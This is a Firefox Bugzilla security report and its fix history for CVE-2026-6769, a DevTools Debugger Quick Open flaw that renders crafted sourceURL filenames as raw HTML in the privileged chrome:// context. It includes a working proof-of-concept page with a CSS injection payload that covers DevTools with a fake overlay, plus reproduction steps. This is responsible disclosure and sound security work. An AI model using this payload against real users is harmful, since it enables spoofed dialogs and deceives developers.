Closed Bug 2023753 (CVE-2026-6769) Opened 7 months ago Closed 7 months ago

DevTools Debugger Quick Open renders source filenames as raw HTML into the privileged chrome:// context (scripting prevented by CSP)

Categories

(DevTools :: Debugger, defect, P2)

defect

Tracking

(firefox-esr115 wontfix, firefox-esr140150+ fixed, firefox149 wontfix, firefox150+ fixed, firefox151+ fixed)

RESOLVED FIXED
151 Branch
Tracking Status
firefox-esr115 --- wontfix
firefox-esr140 150+ fixed
firefox149 --- wontfix
firefox150 + fixed
firefox151 + fixed

People

(Reporter: tomoya2517, Assigned: bomsy)

References

Details

(Keywords: csectype-priv-escalation, reporter-external, sec-moderate, Whiteboard: [client-bounty-form][adv-main150+][adv-esr140.10+])

Attachments

(2 files, 3 external files, 1 obsolete file)

Attached video devtools-html-injection.mp4 β€”

Platform: Desktop (Windows)
Version: 150.0a1 (2026-03-16)

Firefox DevTools does not HTML-escape source file names before rendering them in the Debugger's Quick Open modal (Ctrl+P). A page under inspection can craft a //# sourceURL= pragma whose filename segment contains arbitrary HTML tags, which are then injected into chrome://devtools/content/debugger/index.html via dangerouslySetInnerHTML and executed in the privileged DevTools document.

As a concrete example, embedding a <style> tag in the filename causes the enclosed CSS to take effect inside the DevTools document. The PoC below injects a full-screen overlay that covers the entire DevTools window as soon as a developer searches for "overlay" in Quick Open.

Steps to Reproduce:

  1. Serve poc.html below on any local HTTP server (e.g. python3 -m http.server 8000).
  2. Open Firefox and navigate to http://localhost:8000/poc.html.
  3. Open DevTools (F12) and select the Debugger panel.
  4. Press Ctrl+P to open Quick Open.
  5. Type overlay in the search box.
  6. Observe that the entire DevTools window is covered by a full-screen overlay bearing the text "DevTools-Hijacked".

Security Impact:
A web page being actively inspected by a developer can inject arbitrary CSS into the privileged DevTools document without any user gesture beyond opening Quick Open. Concrete impacts include:

  • Full-screen overlay impersonating Firefox security dialogs, enabling social-engineering attacks against developers.
  • Complete concealment of Quick Open results (display:none) preventing a security auditor from finding any source files.

The DevTools CSP (default-src chrome:; style-src 'unsafe-inline') blocks inline script execution and external network requests, so direct JavaScript execution and data exfiltration are not achievable. However, full visual control over the DevTools UI is sufficient to deceive developers and interfere with security audits.

PoC:

poc.html:

<!DOCTYPE html>
<html>
<head><title>PoC</title></head>
<body>
<p>Open DevTools (F12) &rarr; Debugger &rarr; Ctrl+P &rarr; type "overlay".</p>
<script>
const PAYLOAD =
  "<style>" +
  "body::after{" +
  "content:'DevTools-Hijacked';" +
  "position:fixed;top:0;left:0;right:0;bottom:0;" +
  "z-index:2147483647;" +
  "background:rgba(30,31,40,.97);" +
  "color:rgb(255,85,85);" +
  "font-size:22px;line-height:2;font-family:monospace;" +
  "display:flex;align-items:center;justify-content:center;" +
  "text-align:center;white-space:pre" +
  "}" +
  "overlay.js";
const s = document.createElement("script");
s.textContent = "//# sourceURL=http://localhost:3000/poc/" + PAYLOAD;
document.body.appendChild(s);
</script>
</body>
</html>
Flags: sec-bounty?
Status: UNCONFIRMED → NEW
Component: Security → Debugger
Ever confirmed: true
Product: Firefox → DevTools
Summary: DevTools Debugger Quick Open renders source filenames as raw HTML into the privileged chrome:// context → DevTools Debugger Quick Open renders source filenames as raw HTML into the privileged chrome:// context (scripting prevented by CSP)
Assignee: nobody → hmanilla

Bomsy, can you file a bug also to remove remaining usage of dangerouslySetInnerHTML in devtools?

Severity: -- → S3
Flags: needinfo?(hmanilla)
Priority: -- → P2
Blocks: 2024294
See Also: → 1955233
Duplicate of this bug: 2024531
Attached file (secure) β€”

This removes the logic used to try highlighting the part of the
source file name which matches the query text (typed into the quick
open) by injecting html into the title.

This all depends on the use of dangerouslySetInnerHTML, which added a
security risk.

Ironically the title property does not support styling anyways so all
this was not really neccesary.

Flags: needinfo?(hmanilla)
Pushed by hmanilla@mozilla.com: https://github.com/mozilla-firefox/firefox/commit/b6f6feefc897 https://hg.mozilla.org/integration/autoland/rev/c1277443cc7a [devtools] Remove the use of dangerouslySetInnerHTML in the Quickopen panel r=devtools-reviewers,nchevobbe,frontend-codestyle-reviewers
Group: firefox-core-security → core-security-release
Status: NEW → RESOLVED
Closed: 7 months ago
Resolution: --- → FIXED
Target Milestone: --- → 151 Branch

We are awarding a split bounty between this and bug 2024531 which were both filed within our collision window.

Flags: sec-bounty? → sec-bounty+

The patch landed in nightly and beta is affected.
:bomsy, is this bug important enough to require an uplift?

For more information, please visit BugBot documentation.

Flags: needinfo?(hmanilla)

Also ESR140 if possible.

firefox-beta Uplift Approval Request

  • User impact if declined/Reason for urgency: Potential to hijack devtools leveraging the //@ sourceURL
  • Code covered by automated testing?: yes
  • Fix verified in Nightly?: yes
  • Needs manual QE testing?: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: javascript fix
  • String changes made/needed?: None
  • Is Android affected?: yes
Attachment #9559647 - Flags: approval-mozilla-beta?
Attached file (secure) β€”

firefox-esr140 Uplift Approval Request

  • User impact if declined/Reason for urgency: Potential to hijack devtools leveraging the //@ sourceURL
  • Code covered by automated testing?: yes
  • Fix verified in Nightly?: yes
  • Needs manual QE testing?: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: javascript fix
  • String changes made/needed?: None
  • Is Android affected?: yes
Attachment #9559648 - Flags: approval-mozilla-esr140?
Attached file (secure) (obsolete) β€”
Flags: needinfo?(hmanilla)
Attachment #9559647 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
Attachment #9559648 - Flags: approval-mozilla-esr140? → approval-mozilla-esr140+

Backed out from ESR140 for causing dt failure @browser_dbg-quick-open.js

Flags: needinfo?(hmanilla)
Attachment #9559648 - Flags: approval-mozilla-esr140+ → approval-mozilla-esr140?
QA Whiteboard: [sec] [uplift] [qa-triage-done-c151/b150]

So it looks like the Sanitizer API is not supported in ESR. i'll do a fix

Flags: needinfo?(hmanilla)
Attached file (secure) β€”
Attachment #9564112 - Flags: approval-mozilla-esr140?

firefox-esr140 Uplift Approval Request

  • User impact if declined/Reason for urgency: Devtools can be hijacked leveraging th //@sourceUrl
  • Code covered by automated testing?: yes
  • Fix verified in Nightly?: yes
  • Needs manual QE testing?: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: Js fix using new Web API
  • String changes made/needed?: none
  • Is Android affected?: yes
Attachment #9559648 - Attachment is obsolete: true
Attachment #9559648 - Flags: approval-mozilla-esr140?
Attachment #9564112 - Flags: approval-mozilla-esr140? → approval-mozilla-esr140+
Whiteboard: [client-bounty-form] → [client-bounty-form][adv-main150+]
Whiteboard: [client-bounty-form][adv-main150+] → [client-bounty-form][adv-main150+][adv-esr140.10+]
Alias: CVE-2026-6769
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: